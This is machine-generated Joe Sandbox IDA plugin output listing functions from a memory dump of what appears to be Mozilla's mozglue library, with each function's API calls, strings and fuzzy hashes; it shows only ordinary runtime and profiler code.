Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 4c4b000d06f41878ff19d4314d7ed2d066b6f97361b661544fa9a5f223976c85
Instruction ID: 6237317cd5e8c4c48d03eaf6022813b837f2a5122011ce4a3e1288e701c1984f
Opcode Fuzzy Hash: 4c4b000d06f41878ff19d4314d7ed2d066b6f97361b661544fa9a5f223976c85
Instruction Fuzzy Hash: 434167B52007019FCB10DF69C488A56BBF9FF89314F10442EE95A87B41DB31F855CB99

Function 6C6984E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6984F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6985AC

Part of subcall function 6C697670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69767F
Part of subcall function 6C697670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C697693
Part of subcall function 6C697670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C6985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6976A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6985B2

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 983fe677dbbdfd636f57bc4bf4f18da6e73b00731ded2bd3697c35bd201452d4
Instruction ID: b02f8cc00a9fe643691ff8c2603e189c6edef795f28809ea080049c642b51048
Opcode Fuzzy Hash: 983fe677dbbdfd636f57bc4bf4f18da6e73b00731ded2bd3697c35bd201452d4
Instruction Fuzzy Hash: 7D218E742006029FDB14DF29C888A5AB7B5AF8930CF24492DE55BC3B51EB31F949CB59

Function 6C661640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C661699
VerSetConditionMask.NTDLL ref: 6C6616CB
VerSetConditionMask.NTDLL ref: 6C6616D7
VerSetConditionMask.NTDLL ref: 6C6616DE
VerSetConditionMask.NTDLL ref: 6C6616E5
VerSetConditionMask.NTDLL ref: 6C6616EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C6616F9

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: f84841580bed524b7193ec7398748102c90c56b468ac830f6a53935fa1e8d8bc
Instruction ID: 5ebc18347cdce2e6c4c196cc0c98d8f41758e16dacbf56acbe91b7dc95ca951f
Opcode Fuzzy Hash: f84841580bed524b7193ec7398748102c90c56b468ac830f6a53935fa1e8d8bc
Instruction Fuzzy Hash: AA21D5B07442086BEB105A66CC85FFBB37CDFC6704F044528F6459B5C0C675AD54C6AA

Function 6C69F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C69F598), ref: 6C69F621

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

GetCurrentThreadId.KERNEL32 ref: 6C69F637
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000,?,6C69F598), ref: 6C69F645
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000,?,6C69F598), ref: 6C69F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C69F62A

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: e2d03c83da65c5bc3704851d928221812889342721b3c5fc36cc22143e4ac105
Instruction ID: 0bd65e644daed088f08fe6fcc9a834646c2bc799f70e34fbc658b7f133535696
Opcode Fuzzy Hash: e2d03c83da65c5bc3704851d928221812889342721b3c5fc36cc22143e4ac105
Instruction Fuzzy Hash: 4D119175201206ABCB44AF5AC8889A97779FFC6759F550416FA0583F01CB71B812CBAE

Function 6C662070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

LoadLibraryW.KERNEL32(combase.dll,6C661C5F), ref: 6C6620AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C6620CD
__Init_thread_footer.LIBCMT ref: 6C6620E1
FreeLibrary.KERNEL32 ref: 6C662124

Strings

combase.dll, xrefs: 6C6620A9
CoInitializeSecurity, xrefs: 6C6620C7

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: e8f587b255cae212813fd91fee88bd8eef02f1395703c1e31c8269927b05aa99
Instruction ID: f4ce16b3d5a78bfb26feb4f7e9c2fbc04e8641e78ab249c781a5bd2018ad1a11
Opcode Fuzzy Hash: e8f587b255cae212813fd91fee88bd8eef02f1395703c1e31c8269927b05aa99
Instruction Fuzzy Hash: 60218075200209EFDF11CF96DC88D9A3FB6FB5A355F008114FE0492A50D731A861DF6A

Function 6C6B76C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C6B76F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C6B7705

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C6B7717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C6B778F,00000000,00000000,00000000,00000000), ref: 6C6B7731
free.MOZGLUE(00000000), ref: 6C6B7760

Strings

}>il, xrefs: 6C6B76C4

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>il
API String ID: 2538299546-1725928026
Opcode ID: 2195319edaf78c9abde5db2944dedad8b5fbb5b4cca38b54291dd1d8e3d53320
Instruction ID: 69dadac1c372adee9e4d185efa5b35e7bcfef7ba5702c5b4d1b166416e3f892e
Opcode Fuzzy Hash: 2195319edaf78c9abde5db2944dedad8b5fbb5b4cca38b54291dd1d8e3d53320
Instruction Fuzzy Hash: C811C4B19042156BE710AF7A9C44BABBEE8EF46354F044439F848E7300E7709850C7F6

Function 6C661FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C661FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C661FFD
__Init_thread_footer.LIBCMT ref: 6C662011
FreeLibrary.KERNEL32 ref: 6C662059

Strings

combase.dll, xrefs: 6C661FD9
CoCreateInstance, xrefs: 6C661FF7

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 9276836da43abd49761e2cc01e4bc187bf8a0a87d9952ce7f783d7e40b5f3dcd
Instruction ID: 2840f0e83cf32e1256705947131910d522cbb3e7114f0a2544195fc75f5e4389
Opcode Fuzzy Hash: 9276836da43abd49761e2cc01e4bc187bf8a0a87d9952ce7f783d7e40b5f3dcd
Instruction Fuzzy Hash: 9A115E75201205AFDF10CF57C88CE963B79EB9A359F008029FD0592A40D731B861DFAE

Function 6C660EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C68D9F0,00000000), ref: 6C660F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C660F3C
__Init_thread_footer.LIBCMT ref: 6C660F50
FreeLibrary.KERNEL32(?,6C68D9F0,00000000), ref: 6C660F86

Strings

CoInitializeEx, xrefs: 6C660F36
combase.dll, xrefs: 6C660F18

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 3aea649bdf82269b74aab9dc918a159452dd4dc8024e20fc0460376b7e1b97a9
Instruction ID: 3142b6849d6ec6b95381f9596ef0e0d97da1d837e232cb8c17506ce709f15651
Opcode Fuzzy Hash: 3aea649bdf82269b74aab9dc918a159452dd4dc8024e20fc0460376b7e1b97a9
Instruction Fuzzy Hash: F311C6743152419BDF10CF57C988A493774E79B325F004629ED0583B41D772B401CA5F

Function 6C69F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F561

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

GetCurrentThreadId.KERNEL32 ref: 6C69F577
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F585
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F5A3

Strings

[I %d/%d] profiler_pause_sampling, xrefs: 6C69F3A8
[I %d/%d] profiler_resume_sampling, xrefs: 6C69F499
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C69F56A
[I %d/%d] profiler_resume, xrefs: 6C69F239

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: ddaf6f8b125b3f6f6eed465e4a80a9166bf3288553cff3e0002d544b284c5598
Instruction ID: c3c579bf121b4f29216cc944803579b568ea5ae6b2b9047ff900d25c0825af38
Opcode Fuzzy Hash: ddaf6f8b125b3f6f6eed465e4a80a9166bf3288553cff3e0002d544b284c5598
Instruction Fuzzy Hash: 82F0B4752002059FDB006F669C8895E77BDEFCA29EF010415FA0583706CF31A801876E

Function 6C660E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C660DF8), ref: 6C660E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C660EA1
__Init_thread_footer.LIBCMT ref: 6C660EB5
FreeLibrary.KERNEL32 ref: 6C660EC5

Strings

kernel32.dll, xrefs: 6C660E7D
GetProcessMitigationPolicy, xrefs: 6C660E9B

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: e11fd40302de7fece80d3faaaf52c34881f3f9f852b453f3802d9b70b70de60d
Instruction ID: 04721a74647996172587f100570ada726f5cd43541baddcb8b94d007b7167caf
Opcode Fuzzy Hash: e11fd40302de7fece80d3faaaf52c34881f3f9f852b453f3802d9b70b70de60d
Instruction Fuzzy Hash: 720146747003928BDF008FABEA94BE233B5E746759F104525EA0182F84DB74B406CA1F

Function 6C69F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C69F598), ref: 6C69F621

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

GetCurrentThreadId.KERNEL32 ref: 6C69F637
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000,?,6C69F598), ref: 6C69F645
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000,?,6C69F598), ref: 6C69F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C69F62A

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: ac30b7a3da0f63cb2ecde626f544fcda8337d725f7d8c642dc04f256e4dc61ae
Instruction ID: 0ca6b029334713368cae37ce8458285ea3134e2d024130434b58c9ec30fc0ab5
Opcode Fuzzy Hash: ac30b7a3da0f63cb2ecde626f544fcda8337d725f7d8c642dc04f256e4dc61ae
Instruction Fuzzy Hash: FFF05475200205AFDF006F668C8895A777DEFCA29DF150415FA0583746DB756806876E

Function 6C6905F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C68CFAE,?,?,?,6C6531A7), ref: 6C6905FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C68CFAE,?,?,?,6C6531A7), ref: 6C690616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C6531A7), ref: 6C69061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C6531A7), ref: 6C690627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C69061B, 6C690625
<jemalloc>, xrefs: 6C6905FA, 6C69060F

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 718c23f9e1cf966c788dd71da6affca665d055ee368c1ec450e64d4ade668484
Instruction ID: 48e1536f2f0669c544160619b682af56469d35fc0a8b4f871b052f5e726b8a34
Opcode Fuzzy Hash: 718c23f9e1cf966c788dd71da6affca665d055ee368c1ec450e64d4ade668484
Instruction Fuzzy Hash: 69E08CE2A0101037F6142256BC86DBB761CDBC6134F080039FE0E83341E94ABD1A51FB

Function 6C6605F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 718b1e7a507a29194bee81f70a1d2deeffb3db7465f21d181ead2f123607c46d
Instruction ID: 5d20436572da2bca74fa40327ce16ae1097bfe10773e91a6ef8623a71e3834a3
Opcode Fuzzy Hash: 718b1e7a507a29194bee81f70a1d2deeffb3db7465f21d181ead2f123607c46d
Instruction Fuzzy Hash: 8AA15AB0A016458FDB24CF2AC594A99FBF1BF49304F44866ED44A97B00E731BA85CF99

Function 6C6B14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6B14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6B14E2
GetCurrentThreadId.KERNEL32 ref: 6C6B1546
InitializeConditionVariable.KERNEL32(?), ref: 6C6B15BA
free.MOZGLUE(?), ref: 6C6B16B4

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 84b113b9a73e277b9fd29e08484e4394e3a35ff6a497e3b0073eb4c8ef52548c
Instruction ID: aba4de780e88ec0fbd8ae92ed5aa9381c591fd8fdf4d159ca99d83c8d4769e11
Opcode Fuzzy Hash: 84b113b9a73e277b9fd29e08484e4394e3a35ff6a497e3b0073eb4c8ef52548c
Instruction Fuzzy Hash: 2361F572A007009BDB118F25C880BDEB7B5BF8A308F04851DED8A67711EB31E955CB99

Function 6C6A9F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6A9FDB
free.MOZGLUE(?,?), ref: 6C6A9FF0
free.MOZGLUE(?,?), ref: 6C6AA006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6AA0BE
free.MOZGLUE(?,?), ref: 6C6AA0D5
free.MOZGLUE(?,?), ref: 6C6AA0EB

Memory Dump Source

